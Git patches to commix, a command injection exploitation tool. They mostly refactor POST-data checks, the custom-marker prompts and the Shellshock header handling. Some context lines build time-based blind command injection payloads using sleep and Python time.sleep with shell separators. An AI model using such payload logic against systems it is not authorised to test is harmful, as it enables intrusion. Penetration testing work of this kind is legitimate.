settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index d611c78c5a..0a4d0836a9 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -255,7 +255,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index ae5bde5709..c34befafa3 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -40,14 +40,14 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -188,13 +188,13 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index c8e5ac0493..34538a4f10 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -483,7 +483,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r header_name = "" the_type = " parameter" # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index b1f0ade8cf..f85ab905c3 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -43,7 +43,7 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -55,7 +55,7 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -192,13 +192,13 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht else: # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index f112457df6..883c406c10 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -398,7 +398,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, header_name = "" the_type = " parameter" # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index fb5521812c..3bf92ac47c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -47,13 +47,13 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, start = time.time() # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -100,7 +100,7 @@ def injection_test(payload, http_request_method, url): start = time.time() # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: payload = payload.replace("#","%23") # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) @@ -108,7 +108,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 25e2f7cd05..bfe8d77dbd 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -74,7 +74,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "[ " + str(j) + " -eq ${str1} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -139,7 +139,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "[ " + str(j) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -240,7 +240,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -310,7 +310,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "[ " + str(j) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -379,7 +379,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -440,7 +440,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -505,7 +505,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -562,7 +562,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ff15fce45c..95a4dcf04c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -429,7 +429,7 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): payload = _urllib.parse.quote(payload) # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -476,7 +476,7 @@ def user_agent_injection(url, vuln_parameter, payload, http_request_method): def inject_user_agent(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -519,7 +519,7 @@ def referer_injection(url, vuln_parameter, payload, http_request_method): def inject_referer(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -562,7 +562,7 @@ def host_injection(url, vuln_parameter, payload, http_request_method): def inject_host(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -605,7 +605,7 @@ def custom_header_injection(url, vuln_parameter, payload, http_request_method): def inject_custom_header(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None diff --git a/src/utils/settings.py b/src/utils/settings.py index cc19cd7604..aaa72e2042 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a611614811c99d8f85f34784eb2bf68d503a607d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 24 Apr 2024 07:31:54 +0300 Subject: [PATCH 0428/1023] Minor updates and fixes https://github.com/commixproject/commix/issues/903 --- src/core/modules/shellshock/shellshock.py | 28 +++++++++++------------ src/utils/settings.py | 3 ++- 2 files changed, 16 insertions(+), 15 deletions(-) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index cc14cb04df..9625394db4 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -35,19 +35,12 @@ """ if settings.MULTI_TARGETS or settings.STDIN_PARSING: + if settings.COOKIE_INJECTION: + settings.COOKIE_INJECTION = None if settings.USER_AGENT_INJECTION: settings.USER_AGENT_INJECTION = None if settings.REFERER_INJECTION: settings.REFERER_INJECTION = None - if settings.COOKIE_INJECTION: - settings.COOKIE_INJECTION = None - -# Available HTTP headers -headers = [ -settings.USER_AGENT, -settings.REFERER, -settings.COOKIE, -] # Available Shellshock CVEs shellshock_cves = [ @@ -290,8 +283,8 @@ def shellshock_handler(url, http_request_method, filename): try: i = 0 - total = len(shellshock_cves) * len(headers) - for check_header in headers: + total = len(shellshock_cves) * len(settings.SHELLSHOCK_HTTP_HEADERS) + for check_header in settings.SHELLSHOCK_HTTP_HEADERS: for cve in shellshock_cves: # Check injection state settings.DETECTION_PHASE = True @@ -316,10 +309,17 @@ def shellshock_handler(url, http_request_method, filename): response = proxy.use_proxy(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + + if type(response) is bool: + response_info = "" + else: + response_info = response.info() + if check_header == settings.COOKIE: menu.options.cookie = default_cookie if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent + percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) @@ -330,7 +330,7 @@ def shellshock_handler(url, http_request_method, filename): percent = settings.info_msg no_result = False - elif len(response.info()) > 0 and cve in response.info(): + elif len(response_info) > 0 and cve in response_info: percent = settings.info_msg no_result = False @@ -360,9 +360,9 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() - finding = check_header + settings.SINGLE_WHITESPACE + vuln_parameter + settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + vuln_parameter # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + technique + "." + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index aaa72e2042..daf840cffa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1249,6 +1249,7 @@ class AUTH_TYPE(object): # HTTP Headers HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] +SHELLSHOCK_HTTP_HEADERS =[ COOKIE, USER_AGENT, REFERER ] # Regular expression used for ignoring some special chars IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]" From ba49eb84319ef85f0887e1c87b0435c637d6d0c5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 25 Apr 2024 09:08:09 +0300 Subject: [PATCH 0429/1023] Updates, improvements and potential fix for https://github.com/commixproject/commix/issues/909 --- src/core/injections/controller/checks.py | 23 ++++++---- src/core/injections/controller/controller.py | 48 ++++++++++++-------- src/core/requests/headers.py | 4 ++ src/core/requests/parameters.py | 10 ++-- src/utils/settings.py | 5 +- 5 files changed, 59 insertions(+), 31 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index eb3c6407cf..afa956efc0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -101,24 +101,22 @@ def quoted_value(value): Check for non custom parameters. """ def process_non_custom(): - if settings.CUSTOM_INJECTION_MARKER: + if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM: while True: message = "Other non-custom parameters found." message += " Do you want to process them too? [Y/n] > " process = common.read_input(message, default="Y", check_batch=True) if process in settings.CHOICE_YES: - settings.IGNORE_USER_DEFINED_POST_DATA = False - return True + settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False + return elif process in settings.CHOICE_NO: - settings.IGNORE_USER_DEFINED_POST_DATA = True - return False + settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = True + return elif process in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(process) pass - else: - return True """ Process data with custom injection marker character ('*'). @@ -135,6 +133,15 @@ def process_custom_injection_data(data): _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + # if settings.INJECT_TAG in data: + # settings.CUSTOM_INJECTION_MARKER_DATA.append(data) + # settings.CUSTOM_INJECTION_MARKER_DATA = (list(dict.fromkeys(settings.CUSTOM_INJECTION_MARKER_DATA))) + # if ''.join(settings.CUSTOM_INJECTION_MARKER_DATA).count(settings.INJECT_TAG) > 1: + # err_msg = "More than one custom injection markers ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in the provided data. " + # err_msg += "You can use the '-p' option, to define them (i.e -p \"id1,id2\"). " + # print(settings.print_critical_msg(err_msg)) + # raise SystemExit() + return data """ @@ -1172,7 +1179,7 @@ def testable_parameters(url, check_parameters, header_name): if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: _ = True - if settings.TEST_PARAMETER: + if settings.TEST_PARAMETER and isinstance(settings.TEST_PARAMETER, list): testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX) non_exist_param = list(set(testable_parameters) - set(check_parameters)) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 80930e687c..207671f6df 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -88,9 +88,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, for payload in basic_payloads: _ = _ + 1 - if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): - if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: - payload = _urllib.parse.quote(payload) + # if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): + # if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: + # payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) @@ -115,9 +115,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_unredirected_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_unredirected_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -150,9 +150,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t try: if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: - if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): - if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: - payload = _urllib.parse.quote(payload) + # if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): + # if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: + # payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) @@ -177,9 +177,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_unredirected_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_unredirected_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -293,7 +293,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) - + # User-Agent/Referer/Host/Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" @@ -490,11 +490,10 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file Cookie injection """ def cookie_injection(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = True - + # Cookie Injection - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION: cookie_value = menu.options.cookie header_name = settings.SINGLE_WHITESPACE + settings.COOKIE @@ -535,6 +534,10 @@ def cookie_injection(url, http_request_method, filename, timesec): injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 break + else: + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: # Check for session file check_for_stored_sessions(url, http_request_method) @@ -656,20 +659,27 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): + settings.COOKIE_INJECTION = None + settings.HTTP_HEADERS_INJECTION = False + settings.CUSTOM_HEADER_INJECTION = False + checks.process_non_custom() if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: if post_request(url, http_request_method, filename, timesec) is None: - get_request(url, http_request_method, filename, timesec) + if not settings.SKIP_NON_CUSTOM: + get_request(url, http_request_method, filename, timesec) else: if get_request(url, http_request_method, filename, timesec) is None: - if settings.USER_DEFINED_POST_DATA and checks.process_non_custom(): + if settings.USER_DEFINED_POST_DATA and not settings.SKIP_NON_CUSTOM: post_request(url, http_request_method, filename, timesec) """ Perform HTTP Headers parameters checks """ def headers_checks(url, http_request_method, filename, timesec): - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: + + if menu.options.level == settings.COOKIE_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: if menu.options.cookie: settings.COOKIE_INJECTION = True + if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: cookie_injection(url, http_request_method, filename, timesec) @@ -693,7 +703,7 @@ def headers_checks(url, http_request_method, filename, timesec): settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = False + # settings.CUSTOM_HEADER_INJECTION = False """ Perform checks @@ -737,7 +747,7 @@ def perform_checks(url, http_request_method, filename): data_checks(url, http_request_method, filename, timesec) _ = False headers_checks(url, http_request_method, filename, timesec) - if settings.CUSTOM_HEADERS_NAMES and not checks.process_non_custom(): + if any((settings.CUSTOM_HEADERS_NAMES, settings.COOKIE_INJECTION, settings.HTTP_HEADERS_INJECTION)) and settings.SKIP_NON_CUSTOM: _ = False if _: data_checks(url, http_request_method, filename, timesec) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 67b852ba78..2a0703239f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -394,6 +394,10 @@ def do_check(request): http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + + if not settings.CUSTOM_HEADER_INJECTION and settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: + settings.CUSTOM_INJECTION_MARKER = True + if not settings.CUSTOM_HEADER_INJECTION and http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_CHECK = http_header_name if len(http_header_name) != 0 and \ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 17033f5b09..88544b956f 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -47,8 +47,11 @@ def multi_params_get_value(parameter): value = ''.join(value) return value + if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM: + return False + if settings.USER_DEFINED_POST_DATA: - if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and not checks.process_non_custom(): + if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: return False if settings.INJECT_TAG in url: settings.IGNORE_USER_DEFINED_POST_DATA = True @@ -291,9 +294,10 @@ def json_format(parameter): settings.PARAMETER_DELIMITER = "\n" elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER) and not settings.INJECT_TAG in parameter: - settings.IGNORE_USER_DEFINED_POST_DATA = True + if settings.SKIP_NON_CUSTOM: + settings.IGNORE_USER_DEFINED_POST_DATA = True - if settings.IGNORE_USER_DEFINED_POST_DATA: + if settings.IGNORE_USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: return "" parameters_list = [] diff --git a/src/utils/settings.py b/src/utils/settings.py index daf840cffa..a9ebe605cb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -372,8 +372,11 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_CHAR = "*" CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" +CUSTOM_INJECTION_MARKER_DATA = [] PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +SKIP_NON_CUSTOM = False + # Testable parameter(s) - comma separated. TEST_PARAMETER = "" 